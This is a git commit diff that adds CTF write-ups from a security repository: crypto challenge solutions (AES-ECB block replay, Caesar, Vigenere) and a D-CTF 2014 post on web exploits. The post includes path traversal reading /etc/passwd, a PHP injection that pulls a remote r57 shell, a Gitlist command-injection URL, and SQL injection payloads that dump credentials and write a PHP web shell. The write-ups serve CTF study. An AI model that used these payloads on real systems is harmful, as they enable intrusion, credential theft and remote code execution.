remove dead urls, clean up readme

This commit is contained in:
bt3gl 2024-11-04 19:30:49 +07:00
parent 323465161a
commit bede0e3e79
251 changed files with 12365 additions and 627 deletions

57
.gitignore vendored
View File

@ -1,57 +0,0 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
# C extensions
*.so
# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
downloads/
eggs/
lib/
lib64/
parts/
sdist/
var/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.cache
nosetests.xml
coverage.xml
# Translations
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Shit
*~

View File

@ -1,9 +0,0 @@
language: python
python:
- "2.7"
# command to install dependencies
install: "pip install -r requirements.txt"
# command to run tests
script: nosetests
notifications:
email: false

View File

@ -1,8 +1,6 @@
# Recon
### Searching the Internets
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
@ -29,6 +27,7 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin```
- [redbot.org](https://redbot.org/)
- [shodan.io](https://www.shodan.io/)
- [censys.io](https://censys.io/)
-----------------
[FireBug]: http://getfirebug.com/
[Burp Suite]: http://portswigger.net/burp/

View File

@ -0,0 +1,213 @@
# 9447's CTF 2014
## On Redis & AES Encryption
### The Client File
The first file was a script **client.py**, where, by using Python's [socket](https://docs.python.org/2/library/socket.html) library, showed how a connection to the server could be made:
```py
import os, socket, struct, sys
from Crypto.Cipher import AES
class EncryptedStream(object):
key = 'this is not the flag nor the key'[:16]
def __init__(self, host, port):
self.sock = socket.socket()
self.sock.connect((host, port))
def send(self, msg):
while len(msg) % 16:
msg += '\0'
iv = os.urandom(16)
aes = AES.new(self.key, AES.MODE_ECB, iv)
enc = aes.encrypt(msg)
self.sock.send(struct.pack('<I', len(enc)))
self.sock.send(enc)
def recv(self, nbytes):
return self.sock.recv(nbytes)
client = '''\
HELLO
SHOW VERSION
SET example This tiny script is basically a RedisStore...
GET example
SHOW KEYS
SET brucefact#1 Bruce Schneier can break elliptic curve cryptography by bending it into a circle
SET brucefact#2 Bruce Schneier always cooks his eggs scrambled. When he wants hardboiled eggs, he unscrambles them
SET brucefact#3 Bruce Schneier could solve this by inverting md5 hash of the flag
ENCRYPTION HEX
MD5 flag
'''
stream = EncryptedStream(sys.argv[1], int(sys.argv[2]))
stream.send(client)
while 1:
data = stream.recv(1000)
if not data: break
sys.stdout.write(data)
```
This client script makes [AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted packets for a given host and port (the arguments), with the class **EncryptedStream**. It then sends the packets and prints out any received stream.
The snippet also shows an example of a client packet, with some request options (which we will see the response later in the network dump).
### The Server File
The second file was the **server.py** script, which is a [Redis](http://redis.io/) like a database (hence, the *nosql* title). Unlike SQL databases, Redis *maps keys to types of values*. In this challenge, the idea was to recover an entry that had the key **flag** returning the value of the flag.
In the script below, besides creating this database, functions such as: **AES decrypting** (encryption), **MD5** (hashing), and **hex** (encoding) are implemented using Python's library:
```py
import hashlib, os, signal, struct, sys
from Crypto.Cipher import AES
key = 'this is not the flag nor the key'[:16]
db = { }
def md5(data):
return hashlib.md5(data).digest()
def decrypt(data):
iv = os.urandom(16)
aes = AES.new(key, AES.MODE_ECB, iv)
data = aes.decrypt(data)
return data.rstrip('\0')
def reply_plain(message):
sys.stdout.write(message + '\n')
def reply_hex(message):
# This is totally encrypted, right?
sys.stdout.write(message.encode('hex') + '\n')
def main():
global db
reply = reply_plain
datalen = struct.unpack('<I', sys.stdin.read(4))[0]
data = ''
while len(data) != datalen:
s = sys.stdin.read(1)
if not s:
sys.exit(1)
data += s
data = decrypt(data)
commands = data.split('\n')
for cmd in commands:
if not cmd:
continue
if ' ' in cmd:
cmd, args = cmd.split(' ', 1)
if cmd == 'HELLO':
reply('WELCOME')
elif cmd == 'SHOW':
if args == 'VERSION':
reply('NoRedisSQL v1.0')
elif args == 'KEYS':
reply(repr(db.keys()))
elif args == 'ME THE MONEY':
reply("Jerry, doesn't it make you feel good just to say that!")
else:
reply('u w0t m8')
elif cmd == 'SET':
key, value = args.split(' ', 1)
db[key] = value
reply('OK')
elif cmd == 'GET':
reply(args + ': ' + db.get(args, ''))
elif cmd == 'SNIPPET':
reply(db[args][:10] + '...')
elif cmd == 'MD5':
reply(md5(db.get(args, '')))
elif cmd == 'ENCRYPTION':
if args == 'HEX':
reply = reply_hex
reply('OK')
elif args == 'OFF':
reply = reply_plain
reply('OK')
else:
reply('u w0t m8')
else:
reply('Unknown command %r' % (cmd))
if __name__ == '__main__':
signal.alarm(10)
signal.signal(signal.SIGALRM, lambda a,b: sys.exit(0))
main()
```
This script pretty much gives away all the requests that you can issue to inspect the database.
In addition, a crucial detail is to understand how the client encrypts the commands using the [electronic codebook (ECB)](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29) block cipher type. In this type of operation the message is divided into blocks that are encrypted separately ([PyCryptos's AES.MODE_ECB](https://www.dlitz.net/software/pycrypto/api/2.6/)).
### The PCAP File
The last file was a **pcap** dump. When opening it with [Wireshark](http://go.github.io/wiresharking-for-fun-or-profit.html), I verified it was really short, and the content was simply a [TCP handshake](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml). Right-clicking some packet and selecting *Follow TCP Stream* returned the dump of the connection suggested by the **client.py** script:
![cyber](http://i.imgur.com/2Y6aaW1.png)
However, we see that the database has already an entry for flag:
```
['flag', 'example']
```
The response **4f4b** is **OK** in ASCII, meaning that the switch **ENCRYPTION HEX** was on (it's good to keep in mind that the "encryption" is actually just an encoding in hex, *i.e*, completely reversible).
Finally, our MD5 for the flag was printed as **b7133e9fe8b1abb64b72805d2d97495f**.
As it was expected, searching for this hash in the usual channels (for example [here](http://hash-killer.com/), [here](http://www.md5this.com/), or [here](http://www.hashkiller.co.uk/)) was not successful: *brute force it is not the way to go*.
### Solving the Challenge
It's pretty clear from our **server.py** script that we could craft a direct request to the server to get our flag before it is hashed to MD5. For example, if the request *GET flag*,
```py
elif cmd == 'GET':
reply(args + ': ' + db.get(args, ''))
```
is exactly like *MD5 flag*, without the hashing:
```py
elif cmd == 'MD5':
reply(md5(db.get(args, '')))
```
However, we do not have the AES key used by the server, only an example of communication given by the PCAP file. How do we get to send a **GET flag** message?
The first thing that comes to our minds is to use the network dump to replay the message, re-shaping it somehow to have a *GET flag*. Remember that the blocks have a size of 16, and we see two blocks that are particularly interesting:
```
ION HEX
MD5 flag
```
and
```
edisStore...
GET
```
Now we check how the oracle responds to several types of responses:
```
$ python client.py 54.148.249.150 4479
```
We are able to learn that if we send a **command without arguments** or an **invalid command**, the argument variables (*args*) is not overwritten: it gets the **same args value from the previous valid request**! That's wonderful!
Now the solution is clear:
1. We send the invalid command and a valid command with the argument that we will keep: ```ION HEX\nMD5 flag```.
2. We send the invalid command and command without an argument: ```edisStore...\nGET``` (this will get the last valid argument (*flag*), returning us the flag!).

View File

@ -1,7 +1,6 @@
#!/usr/bin/python
__author__ = "bt3gl"
__email__ = "bt3gl@gmail.com"
import decimal
import socket

View File

@ -1,7 +1,6 @@
#!/usr/bin/python
__author__ = "bt3gl"
__email__ = "bt3gl@gmail.com"
import decimal

View File

@ -1,7 +1,6 @@
#!/usr/bin/python
__author__ = "bt3gl"
__email__ = "bt3gl@gmail.com"
import decimal

View File

@ -1,16 +1,6 @@
Title: On Paillier, Binary Search, and the ASIS CTF 2014
Date: 2014-10-13 3:30
Category: Cryptography
Tags: CTF, Paillier, Python, Binary_Search, Oracle, Decimal
# On Paillier, Binary Search, and the ASIS CTF 2014
![](http://i.imgur.com/7LMyBGx.png)
The [ASIS CTF] was last weekend. Although I ended up not playing all I wanted, I did spend some time working on a crypto challenge that was worth a lot of points in the game. The challenge was about a system I never heard about before, the [Paillier cryptosystem].
____
## The Cryptosystem
The challenge was started by netcating to ```nc asis-ctf.ir 12445```:
@ -392,19 +382,14 @@ ASIS_85c9febd4c15950ab1f19a6bd7a94f87
```
Cool, right?
If you think so, all scripts I mentioned are [here].
Hack all the things!
----
[Paillier cryptosystem]: http://en.wikipedia.org/wiki/Paillier_cryptosystem
[here]: https://github.com/bt3gl/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-ASIS-CTF/crypto_paillier
[here]: https://github.com/autistic-symposium/sec-pentesting-toolkit/tree/master/CTFs_and_WarGames/2014-ASIS-CTF/crypto_paillier
[modulo]: http://en.wikipedia.org/wiki/Modulo_operation
[oracle]: http://en.wikipedia.org/wiki/Oracle_machine
[ASIS CTF]: http://asis-ctf.ir/home/
[Binary search]:http://en.wikipedia.org/wiki/Binary_search_algorithm
[my scripts]: https://github.com/bt3gl/Python-and-Algorithms-and-Data-Structures/tree/master/src/searching_and_sorting/searching
[my scripts]: https://github.com/autistic-symposium/master-algorithms-pytree/master/src/searching_and_sorting/searching

View File

@ -0,0 +1,293 @@
# CSAW CTF 2014 - Cryptography 200 - Psifer School
The problem starts with the following text:
> There's no heartbleed here. Why don't we use these ciphers?
>
> nc 54.209.5.48 12345
>
> Written by psifertex
------
## Stage One: Caesar Cipher
#### Connecting to the Server
We start typing the **netcat** command in the terminal:
```sh
nc 54.209.5.48 12345
```
We get the following message back:
> Welcome to psifer school v0.002
>
> Your exam begins now. You have 10 seconds, work fast.
>
> Here is your first psifer text, a famous ancient roman would be proud if you solve it.
>
> psifer text: **wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh**
>
>Time's up. Try again later.
This text gives a cipher ``` wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh``` and the hint *a famous ancient roman would be proud*. That's all we need to decipher it!
#### Frequency Analysis
The famous roman is **Caesar**, and [his cryptographic scheme] is one of the simplest possible. This cipher is also known as **rotation cipher**, because all we do is rotating the letters by some value (the **key**). A modern version of it is called **ROT13**, meaning **rotation by 13 places**. This is a simple letter substitution cipher which replaces each letter with the 13th letter after it in the alphabet. In this case, we say that the *key is 13*.
In our problem, we don't know the key. However, there is a method to circumvent it: we can count how many times each letter appears in the text and then we use some previous knowledge about the frequency of each letter in the English words. For example, in the English language, *e*, *t*, *a*, *o*, and *n* are frequent letters while *z* or *v* is not. This means that we can analyze the frequency of each character to determine what's the most probable rotation key.
To count the frequency of characters in our cipher, we write a snippet that creates a counter [dictionary (hash table)] with all the (lowercase) characters as the dictionary's keys. Note that we could have used Python's [Counter() data-structure] as well. We then iterate through each character in the message, counting their frequency, and returning a sorted list of these values:
```python
import string
def frequency(msg):
# Compute the word frequencies
dict_freq = dict([(c,0) for c in string.lowercase])
diff = 0.0
for c in msg.lower():
if 'a'<= c <= 'z':
diff += 1
dict_freq[c] += 1
list_freq = dict_freq.items()
list_freq.sort()
return [b / diff for (a, b) in list_freq]
```
#### Deciphering the Cipher
Using a [well-known table of word frequency values], we write a snippet that does the following:
1. First, for each of the 26 letters, we subtract its known frequency value from the frequency obtained from our message.
2. Second, we find what is the minimum value from those subtractions. The closest value is the most probable value for the rotation key.
```python
def delta(freq_word, freq_eng):
# zip together the value from the text and the value from FREQ
diff = 0.0
for a, b in zip(freq_word, freq_eng):
diff += abs(a - b)
return diff
def decipher(msg):
# Decipher by frequency
min_delta, best_rotation = 20, 0.0
freq = frequency(msg)
for key in range(26):
d = delta(freq[key:] + freq[:key], FREQ_ENGLISH)
if d < min_delta:
min_delta = d
best_rotation = key
return cipher(msg, -best_rotation)
```
Once we have the key, we just plug it back to the cipher algorithm, inverting the rotation to the other side, with ```cipher(msg, -best_rotation)```. In this cipher function, we iterate through all the character in the message, checking whether it's a letter or a special character. If it is the former case we perform the following operations:
1. We start getting the integer representing the [Unicode] code point of the character.
2. To get its position in the alphabet and we subtract it from the Unicode value of *a*, given by **ord('a')** (this is 97).
3. We add the key value to it to get the (absolute) shift position.
4. Now we need to remember that this cipher is a ring, *i.e*, adding more stuff should always lead to a *spot* within the 26 letters in the alphabet. That's why we apply an [module] operation to this number to get the *relative* position in the letter's table.
5. Finally, we just need the value of the shift to the Unicode of *a* to get the position of the character in the cipher.
6. Remember we are using *-key*, so instead of making a new cipher, we are using the same steps to rotate the cipher to the other side to recover the message.
```python
def cipher(msg, key):
# Make the cipher
dec = ''
for c in msg.lower():
if 'a' <= c <= 'z':
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
else:
dec += c
return dec
```
Bingo! The snippets above lead us to our first answer in this problem:
> the answer to this stage is **supersimple**
Netcating several times can return other similar answers such as **hopeyouautomate** or **easypeesy** or **notveryhard**. They are all correct.
#### Automating the Response
To advance forward, we need to send one of the above answers to the socket. However, we only **have 10 seconds** to do this! It's clear that we need to automate this problem with a script.
We can do this in many ways. In Python, for example, we can use the libraries [telnetlib] or [socket] or even writing our [own netcat script]. We will use the former for this exploit. Let us create a telnet connection with:
```python
from telnetlib import Telnet
PORT = 12345
HOST = '54.209.5.48'
tn = Telnet(HOST ,PORT)
```
In this case, socket reading can be done with ```tn.read_until(b'psifer text: ')```, which reads until a given string is encountered, or ```tn.read_all()```, which reads all data until EOF.
To write a string to the socket we do ```tn.write(mystring.encode() + b'\n')```. Here, the method [encode()] returns an encoded version of the string, *i.e* a translation of a sequence of bytes to a Unicode string.
As a side note, if we had decided to use the [socket] library to create a *TCP socket*, the process would be easy as well:
```python
s = socket(AF_INET, SOCK_STREAM)
s.connect(HOST)
```
Here ```socket.AF_UNIX, socket.AF_INET, socket.AF_INET6``` are constants that represent the address (and protocol) families. The constants ```socket.SOCK_STREAM, socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_RDM, socket.SOCK_SEQPACKET```represent the socket types.
To read the socket stream we would use commands such as ```s.recv(2048)``` and for writing, we could use ```s.sendall(answer)```.
#### Decrypting and Sending the Answer
Now, back to our problem. After creating the telnet connection, we read whatever comes in:
```python
tn.read_until(b'psifer text: ')
```
We decode and decrypt the text, and then encode it again:
```python
msg_in1 = tn.read_until(b'\n').decode().strip()
dec_msg_in1 = decipher(msg_in1)
answer1 = dec_msg_in1.split()[-1].encode() + b'\n'
```
Finally, we send our answer to the telnet session (the same answer obtained before):
```python
tn.write(answer1)
```
-----------------------------------------
## Stage Two: Offset with Special Characters
The second stage starts with the following message:
> Congratulations, you have solved stage 1. You have 9 seconds left.
>
> Now it's time for something slightly more difficult. Hint, everybody knows it's
> not length that matters.
Together with the hint *length doesn't matter*, we get the following cipher (translated as a Python string variable because of the special characters):
```I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h```
To crack this cipher we need to deal with special characters to find the rotation shift. We proceed with the following steps:
1. We start looping over the length of our message, where for each iteration we create a blank list with the size of the message. This is a bit *space-expensive* and it should be optimized if we needed to scale for larger problems. It's fine for our current problem.
2. We start a second loop, which will tell us about the shifts. This loop iterates again in the length of the message, this time adding the current character to the list we've created before and updated a pointer to the pacing value given in the first loop. Notice that we have a loop inside another, so this solution has *O(n^2) runtime* and it also should be optimized for larger problems.
3. Inside this second loop, we check whether the pacing pointer is larger than the length of the message, and if this is the case, we register it in a shift counter. The former pointer receives the value of this shift. This is the end of the second loop.
4. Back to the first loop, we add all the characters so far from our list into the message string. But when should we stop doing this? Until we make sure that had a rotation that produces real words. I tried a few common words, and 'you' worked just fine!
```python
def solve2(msg):
# Shift cypher, but dealing with special characters
for j in range(2, len(msg)):
dec_msg = ['0'] * len(msg)
idec_msg, shift = 0, 0
for i in range(len(msg)):
dec_msg[idec_msg] = msg[i]
idec_msg += j
if idec_msg > len(msg) - 1:
shift += 1
idec_msg = shift
dec_msg = "".join(dec_msg)
if "you" not in dec_msg: continue
return dec_msg
```
After decoding this stage's cipher we get the key for the next stage, which is then sent back through the socket:
> I hope you don't have a problem with this challenge. It should be fairly straight forward if you have done lots of basic crypto. The magic phrase for your efforts is "**not not wrong**". For your efforts, you will get another challenge!
----
## Stage Three: Vigenere Cipher
The next message lets us know that we are close to the end:
> Congratulations, you have solved stage 2. You have 9 seconds left.
> Last one.
And comes with the following cipher:
```
MVJJN BQXKF NCEPZ WWVSH YFCSV JEEBB UVRMX HKPIE PMMVZ FOPME ZQIIU EUZZW CGHMV BKBTZ BBHVR MVTQP ENXRM HIRNB WTGDZ CFEDS TKBBW HBFDI KILCM MUUPX WUNIN PWPFJ IEZTP MVQBX ACVKN AEMPV KQXAB ZMDUD ILISV NHKBJ FCIMW HTUVR MNNGU KIFED STLLX XAOUN YVEGV BEXEI BHJNI GHXFI FQFYV VXZFE FXFFH OBVXR MVNLT NHUYY FEZWD GBKEL SGFLM LXBFO NEIOS MZHML XAJUX EIKWH YNAIK SOFLF EEKPI XLSDB PNGHV XHFON MSFOL VMNVX HIRNB XBGTF FOEUZ FZMAS NZEGL HFTPM PDNWM DVKCG WHAFE OKWXF ZIBRQ XCSJI FIMVJ EAFEK MIRXT PBHUC YEEFP MZNMP XZBDV EMMHM VFTQU ABISA EWOMZ NMPXZ BDVPL HGFWF XISSX RMPLB HFRML RHKJU IGXPO OKNHQ TYFKB BWAOS UYKXA OOZNG IXRTK IUIBT ZFOOI LCMMY WEECU FZLMF DMVWK CIHPT BTPES OXYLC HIQII UEUZZ RFKIT RZYUO IMVFT IWITB ENCEP UFFVT XVBUI KNAVH IHYCM MYWUY YETLA PJNHJ MVFGF TMGHF ONBWL HBKCV EMSBT BHJMV FCYOI EGJDH HXTAB JIVLB GUKBX JNBOP NAMGU JJNAE MRFGY GHBBH FHPLB QIIUG HHALV SRSNU FKNAE MDPVG FMZVU SYXBT QUCSM LXFJX BMSYT TVNMS LIDTY LWY
```
This is a **[Vigenere Cipher]**, which is basically several Caesar ciphers in sequence, with different shift values, given by a key-word. Finding these shifts when we don't know the key can be done by writing the alphabet 26 times in different rows. In this case, each alphabet is shifted cyclically to the left compared to the previous alphabet (26 Caesar ciphers).
Although we could use some [online Vigenere cracker] to extract the flag from this text, we will instead write a code. We use Python's library [pygenere], which has the methods ```crack_message()``` to decipher the message and ```crack_codeword()``` to find the key (useful because we don't have the key). We then send our cipher to the following function:
```python
def solve3(msg):
key = VigCrack(msg).crack_codeword()
dec_msg = VigCrack(msg).crack_message()
dec_msg = dec_msg.replace(" ", "")
return key, dec_msg
```
This will give us the **key = TOBRUTE** and the deciphered text. After fixing the spaces between the words, we get:
```
THIS TIME WE WILL GIVE YOU MORE PLAINTEXT TO WORK WITH YOU WILL PROBABLY FIND THAT HAVING EXTRA CONTENT THAT IS ASCII MAKES THIS ONE MORE SOLVABLE IT WOULD BE SOLVABLE WITHOUT THAT BUT WE WILL MAKE SURE TO GIVE LOTS OF TEXT JUST TO MAKE SURE THAT WE CAN HANDLE IT I WONDER HOW MUCH WILL BE REQUIRED LETS PUT THE MAGIC PHRASE FOR THE NEXT LEVEL IN THE MIDDLE RIGHT HERE NORMALWORD OK NOW MORE TEXT TO MAKE SURE THAT IT IS SOLVABLE I SHOULD PROBABLY JUST PUT IN SOME NURSERY RHYME OR SOMETHING MARY HADA LITTLE LAMB LITTLE LAMB LITTLE LAMB MARY HADA LITTLE LAMB WHOSE FLEEZE WAS WHITE AS SNOW I DONT WANT TO MAKE THIS HARDER THAN IT NEEDS TO BE IF YOU VE SOLVED A LOT OF SIMPLE CRYPTO CHALLENGES YOU PROBABLY ALREADY HAVE THE CODE AND WILL BREEZE RIGHT THROUGH IT IF IT HELPS MOST OF THE PLAINTEXT IS STATIC AT EACH OF THE LEVELS I M NOT A MASOCHIST THE FUNNY THING IS THAT DEPENDING ON WHICH RANDOMKEY YOU GET THAT POEM MIGHT BE EXACTLY THE RIGHT OFFSET TO SUCCESSFULLY MOUNT AN ATTACK WE LL SEE LITTLE BIT MORE LITTLE BIT MORE THERE,
```
Reading it carefully give us the last answer for the flag: **NORMALWORD**. Sweet!
## Final Words
If you like this solution, take a look at my [exploit for this problem].
**Hack all the things!**
[his cryptographic scheme]: http://en.wikipedia.org/wiki/Caesar_cipher
[exploit for this problem]: https://github.com/autistic-symposium/sec-pentesting-toolkit/tree/master/CTFs_and_WarGames/2014-CSAW-CTF/cryptography/crypto-200
[scripts from other authors]:https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/tree/master/2014-CSAW-CTF/cryptography/crypto-200/from_the_net
[well-known table of word frequency values]: http://en.wikipedia.org/wiki/Letter_frequency
[telnetlib]: https://docs.python.org/2/library/telnetlib.html
[socket]: https://docs.python.org/2/library/socket.html
[own netcat script]: https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/blob/master/Tutorials/Useful_Scripts/netcat.py
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.php
[Vigenere Cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
[online Vigenere cracker]: http://smurfoncrack.com/pygenere/
[dictionary (hash table)]: https://docs.python.org/2/tutorial/datastructures.html#dictionaries
[Counter() data-structure]: https://docs.python.org/2/library/collections.html#collections.Counter
[ord()]: https://docs.python.org/2/library/functions.html#ord
[module]: http://en.wikipedia.org/wiki/Modulo_operation
[Unicode]: http://en.wikipedia.org/wiki/Unicode
[encode()]: https://docs.python.org/2/library/stdtypes.html#str.encode

File diff suppressed because it is too large Load Diff

View File

@ -547,7 +547,6 @@ endobj
[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html
[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9
[online hex-decode]: http://ddecode.com/hexdecoder/
[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html
[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix)

View File

@ -1,7 +1,6 @@
#Networking-100: Big Data
# Networking-100: Big Data
This is the only networking problem, and it is only 100 points, so it turned out to be very easy.
The problem starts with the following text:

View File

@ -126,9 +126,7 @@ while True:
# flag{trust_is_risky}
```
Yaaay! The flag is **trust_is_risky**! Easy!
**Hack all the things!**
The flag is **trust_is_risky**! Easy!
[uncompyle2]: https://github.com/gstarnberger/uncompyle

View File

@ -0,0 +1,381 @@
# Exploring D-CTF Quals 2014's Exploits
## Vulnerabilities
### Remote File Inclusion and Local File Inclusion Vulnerabilities
In [Remote File Inclusion] (RFI) an attacker can load exploits to the server. An attacker can use RFI to run exploits in both server and client sides. PHP's [include()](http://php.net/manual/en/function.include.php) is extremely vulnerable to RFI attacks.
[Local File Inclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) (LFI) is similar to RFI but only files that are currently in the server can be included. This type of vulnerability is seemed in forms for file uploading (with improper sanitation).
An example of RFI exploitation is the case where the form only accepts some type of extensions (such as JPG or PNG) but the verification is made in the client side. In this case, an attacker can tamper the HTTP requests to send shellcode (with PHP extension, for example). I've shown examples of this attack in the [Natas post]. There I've explained that the trick was to rename a PHP shell code to one of these safe extensions.
[Remote File Inclusion]: http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
### TimThumb and LFI
[TimThumb] is a PHP script for manipulating web images. It was recently [discontinued because of security issues].
With TimThumb 1.33, an attacker is able to upload a shell by appending it to an image. All she needs to do is to have it in some online subdomain. TimThumb will store this image in a cache folder and generate an MD5 of the full path of the shell. The last step is to perform an LFI attack with the shell in this folder. Check this [example of LFI exploitation](http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html).
[TimThumb]: https://code.google.com/p/timthumb/
[discontinued because of security issues]:http://www.binarymoon.co.uk/2014/09/timthumb-end-life/
### CMS Mini and RFI
[CMS Mini] is a file system to build simple websites. It has [several vulnerabilities] such as [CSRF], RFI, and [XSS].
[CSRF]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
[XSS]: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
An example of RFI vulnerability in CMS Mini is explored using curl:
```http
http://
[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd
```
For more examples of exploits, check [1337day] and [this exploit-db].
[1337day]: http://1337day.com/exploit/3256
[several vulnerabilities]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2961
[this exploit-db]: http://www.exploit-db.com/exploits/28128/
[CMS Mini]: http://www.mini-print.com/
### ApPHP and Remote Code Execution
[ApPHP](http://www.apphp.com/) is a blog script. It is known for having [several vulnerabilities], including [remote code execution] (RCE). An example of RCE exploit for ApPHP [can be seen here]. A good start is to check the PHP's [disable_function](http://php.net/manual/en/ini.core.php#ini.disable-functions) list for stuff to hacker the server.
[several vulnerabilities]: http://www.exploit-db.com/exploits/33030/
[remote code execution]: https://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution
[can be seen here]: http://www.exploit-db.com/exploits/33070/
In this CTF, the challenge was to find what was not in that list. For instance, it was possible to use [$_POST](http://php.net/manual/en/reserved.variables.post.php) and [$_COOKIE](http://php.net/manual/en/reserved.variables.cookies.php) to send strings to functions such as [scandir()](http://php.net/manual/en/function.scandir.php) and [get_file_contents()](http://php.net/manual/en/function.file-get-contents.php):
```http
GET Request: ?asdf);print_r(scandir(implode($_COOKIE))=/
Cookie: 0=include
```
In addition, with a writable directory we can drop a shell in the server (you can use script-kiddies scripts like [r57 shell.net](http://www.r57shell.net/), but in real life, keep in mind that they are super uber [backdoored](http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/#more-447)).
```http
Post Request: 0=include/myfile.php
Cookie: 0=http://www.r57shell.net/shell/r57.txt
```
### Gitlist and Remote Command Execution
[Gitlist] is an application to browse GitHub repositories in a browser. The versions up to 5.0 are known for [allowing remote attackers to execute arbitrary commands via shell], a type of [command injection]. Exploits for this vulnerability can be seen at [hatriot], at [packet storm], at [1337day], and at [exploit-db].
In this CTF, the following command could be used to look for the flag:
```http
http://10.13.37.33/gitlist/redis/blame/unstable/README%22%22%60ls%20-al%60
```
[exploit-db]: http://www.exploit-db.com/exploits/33990/
[1337day]: http://en.1337day.com/exploit/22391
[packet storm]: http://packetstormsecurity.com/files/127364/Gitlist-Unauthenticated-Remote-Command-Execution.html
[hatriot]: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
[command injection]: http://cwe.mitre.org/data/definitions/77.html
[allowing remote attackers to execute arbitrary commands via shell]: http://www.websecuritywatch.com/arbitrary-command-execution-in-gitlist/
[Gitlist]: http://gitlist.org/
### LibreOffice's Socket Connections
LibreOffice's has a binary [soffice.bin] that takes socket connections on the *port 2002* (in this CTF, in the VPN's localhost).
For instance, the command [unoconv] can be used to convert a file to a LibreOffice supported format. The flag **-c** opens a connection by the client to connect to an LibreOffice instance. It also can be used by the listener to make LibreOffice listen.
From the documentation, the default connection string is:
```http
Default connection string is "socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
```
Therefore, you can connect to the socket and convert some document (such as */flag.txt*) to a PDF for example:
```sh
$ unoconv --connection 'socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext' -f pdf /flag.txt
```
An example of a payload can be seen [here].
[here]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
[unoconv]: http://linux.die.net/man/1/unoconv
[LibreOffice]: http://www.libreoffice.org/
[soffice.bin]: http://www.processlibrary.com/en/directory/files/soffice/66728/
### ColdFusion and Local File Disclosure
[ColdFusion] is an old web application development platform. It carries its own (interpreted) language, **CFM**, with a Java backend.
CFM has scripting features like ASP and PHP, and syntax resembling HTML and JavaScript. ColdFusion scripts have **cfm** and **cfc** file extension. For instance, [Adobe ColdFusion 11] and [Railio 4.2], the two platform accepting CFM, were both released in the beginning of 2014.
The problem is that CFM is [vulnerable to a variety of attacks], including [Local File Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (LFD) and SQL injection (SQLi). Adding this to the fact that ColdFusion scripts usually run on elevated privileged users, we have a very vulnerable platform.
[Railio 4.2]: http://www.getrailo.org/
[ColdFusion]: http://en.wikipedia.org/wiki/Adobe_ColdFusion
[Adobe ColdFusion 11]: http://www.adobe.com/products/coldfusion-family.html
#### SQL Injection (SQLi)
[SQL Injection](https://www.owasp.org/index.php/SQL_Injection) is a classic attack where one injects exploits in a [SQL query](http://technet.microsoft.com/en-us/library/bb264565(v=sql.90).aspx). Vulnerabilities of this type can be spotted in queries such as **index.php?id=1**. I showed some of these exploits in my [Natas post].
In this CTF, these were some of the exploits that could be used:
* List everything in a database, where **0x3a** is the hexadecimal symbol for **:**:
```sql
UNION ALL SELECT 1,concat(username,0x3a,password,0x3a,email),3 FROM cms.users--
```
* See the password file content:
```sql
UNION ALL SELECT 1,LOAD_FILE("/etc/passwd"),3--
```
* Write files and create a PHP shell into **URL/shell.php**, we can use a parameter **x** to takes a parameter to be executed (based on [this]):
```
UNION ALL SELECT 1 "<?php header("Content-Type: text/plain;charset=utf-8"); echo system($-GET["x"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php"--
```
Notice the *trailing pair of hyphens* **--** which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed (it removes the trailing single-quote left over from the modified query). To learn more about how to mitigate SQLi, I recommend [OWASP's SQLi Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
) and [this nice guide for SQLi mitigation](http://owtf.github.io/boilerplate-templates/SQLinjection.html) by OWSAP OWTF.
